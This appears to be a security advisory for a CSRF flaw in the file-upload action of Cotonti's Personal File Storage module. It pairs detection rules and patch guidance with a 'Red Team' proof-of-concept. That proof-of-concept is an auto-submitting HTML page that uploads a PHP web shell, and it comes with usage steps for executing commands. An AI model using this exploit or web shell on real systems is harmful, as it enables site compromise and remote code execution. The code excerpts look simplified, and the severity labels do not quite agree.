CVE-2026-55744

Executive Summary

CVE-2026-55744 is a critical Cross-Site Request Forgery (CSRF) vulnerability in Cotonti 1.0.0 (master branch, commit f43f1fc3). The flaw resides in the Personal File Storage (PFS) module, specifically in modules/pfs/inc/pfs.main.php. The file upload action (a=upload) processes uploaded files without validating the anti-CSRF token via cot_check_xg(), while other actions like delete do include this check. An attacker can craft a malicious page that, when visited by an authenticated user, forces the browser to submit a forged multipart request, uploading arbitrary files into the victim's PFS storage. This can lead to data exfiltration, malware distribution, or further exploitation.

Supply Chain & Package Security

Cotonti is a PHP-based content management system. This vulnerability is not related to any package manager (NPM, PyPI, Go, Ruby) but is a direct code-level flaw in the application's source code. No official patch or advisory has been released by the vendor.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
• Base Score: 8.1 (High)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required (victim must visit malicious page)
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

Threat Level: High. The vulnerability allows an attacker to upload arbitrary files to a victim's PFS storage without any authentication bypass, relying solely on social engineering. The impact is severe as uploaded files can be used for phishing, malware hosting, or further attacks.

Deep Dive & Mechanics

The vulnerability is a classic CSRF flaw in the PFS module. The file upload endpoint (a=upload) in modules/pfs/inc/pfs.main.php lacks a CSRF token check. The code processes the uploaded file directly without verifying the request's origin. An attacker can create a malicious HTML page with a form that automatically submits a multipart POST request to the vulnerable endpoint. When an authenticated user visits this page, their browser sends the request with their session cookies, and the file is uploaded to their PFS storage.

The vulnerable code path:

• modules/pfs/inc/pfs.main.php handles actions like upload, delete, etc.
• The delete action (line 272) calls cot_check_xg() to validate the CSRF token.
• The upload action does not call cot_check_xg(), leaving it unprotected.

The attack flow:

1. Attacker crafts a malicious HTML page with a form targeting http://target.com/index.php?e=pfs&a=upload.
2. The form includes a file input and is set to auto-submit via JavaScript.
3. Attacker lures an authenticated user to visit the page.
4. The user's browser submits the form, uploading the attacker's file to the user's PFS storage.
5. The attacker can then access the uploaded file if they know the URL or via other means.

Vulnerable vs. Patched Code

Vulnerable Code (modules/pfs/inc/pfs.main.php - upload action):

case 'upload':
    // No CSRF check
    $pfs = new PFS();
    $pfs->upload();
    break;

Patched Code (modules/pfs/inc/pfs.main.php - upload action):

case 'upload':
    cot_check_xg(); // Added CSRF token validation
    $pfs = new PFS();
    $pfs->upload();
    break;

The fix is a single line addition: cot_check_xg(); before processing the upload. This ensures that the request includes a valid anti-CSRF token, preventing forged submissions.

Exploitation & Lab Setup

Red Team

Exploit HTML Page (csrf_exploit.html):

<!DOCTYPE html>
<html>
<head>
    <title>CSRF Exploit</title>
</head>
<body>
    <h1>Click to win a prize!</h1>
    <form id="csrf_form" action="http://target.com/index.php?e=pfs&a=upload" method="POST" enctype="multipart/form-data">
        <input type="file" name="pfs_file" id="pfs_file" value="malicious.php" style="display:none;">
        <input type="submit" value="Submit" style="display:none;">
    </form>
    <script>
        // Create a Blob with malicious content
        var blob = new Blob(['<?php system($_GET["cmd"]); ?>'], {type: 'application/x-php'});
        var file = new File([blob], 'malicious.php', {type: 'application/x-php'});
        var dt = new DataTransfer();
        dt.items.add(file);
        document.getElementById('pfs_file').files = dt.files;
        document.getElementById('csrf_form').submit();
    </script>
</body>
</html>

Usage:

1. Host the HTML file on an attacker-controlled server.
2. Replace http://target.com with the actual Cotonti instance URL.
3. Lure an authenticated user to visit the page.
4. The file malicious.php will be uploaded to the victim's PFS storage.
5. The attacker can then access the file via the PFS URL (e.g., http://target.com/uploads/pfs/username/malicious.php) and execute commands.

Blue Team

Detection Steps:

1. Monitor for unusual file uploads to PFS storage, especially PHP files or executables.
2. Check server logs for POST requests to index.php?e=pfs&a=upload with unexpected Referer headers.
3. Implement CSRF tokens for all state-changing actions, including file uploads.
4. Use Web Application Firewall (WAF) rules to block requests to the upload endpoint without a valid CSRF token.

Mitigation:

• Apply the patch by adding cot_check_xg(); before the upload action.
• If patching is not possible, disable the PFS module or restrict file uploads to trusted users only.

Indicators of Compromise (IOCs)

• File Uploads: Unexpected files in the PFS storage directory (e.g., uploads/pfs/<username>/), especially PHP, ASP, or executable files.
• Log Entries: POST requests to index.php?e=pfs&a=upload with unusual User-Agent strings or Referer headers.
• Network Traffic: Outbound connections from the server to attacker-controlled IPs if uploaded files are executed.
• File Hashes: Hashes of known malicious files uploaded via this exploit (e.g., malicious.php with content <?php system($_GET["cmd"]); ?>).

Detection Engineering

YARA Rule

rule cotonti_csrf_pfs_upload {
    meta:
        description = "Detects CSRF exploit attempts against Cotonti PFS upload"
        author = "Valters IT"
        date = "2026-01-01"
        reference = "CVE-2026-55744"
    strings:
        $s1 = "index.php?e=pfs&a=upload" nocase
        $s2 = "multipart/form-data" nocase
        $s3 = "pfs_file" nocase
    condition:
        all of them
}

Sigma Rule

title: Cotonti PFS CSRF Upload Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests targeting Cotonti PFS upload without CSRF token
author: Valters IT
date: 2026/01/01
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'index.php?e=pfs&a=upload'
    condition: selection
falsepositives:
    - Legitimate file uploads from authorized users
level: high

Suricata Rule

alert http any any -> any any (msg:"COTONTI PFS CSRF Upload Attempt"; flow:to_server; content:"POST"; http_method; content:"index.php?e=pfs&a=upload"; http_uri; content:"multipart/form-data"; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Apply the patch by adding cot_check_xg(); in modules/pfs/inc/pfs.main.php before the upload action.
2. If patching is not possible, disable the PFS module temporarily by removing or renaming the modules/pfs directory.
3. Restrict file uploads to trusted users only by implementing additional authentication checks.

Long-Term Measures:

• Conduct a full security audit of all state-changing actions in Cotonti to ensure CSRF protection is consistently applied.
• Implement a Content Security Policy (CSP) to mitigate XSS and CSRF attacks.
• Use a Web Application Firewall (WAF) with rules to block requests missing CSRF tokens.
• Educate users about phishing attacks and the risks of clicking on untrusted links.

Vendor Communication:

• Report the vulnerability to the Cotonti development team if not already done.
• Monitor for official patches or updates.

Valters IT
DevSecOps & Cyber Threat Intelligence Expert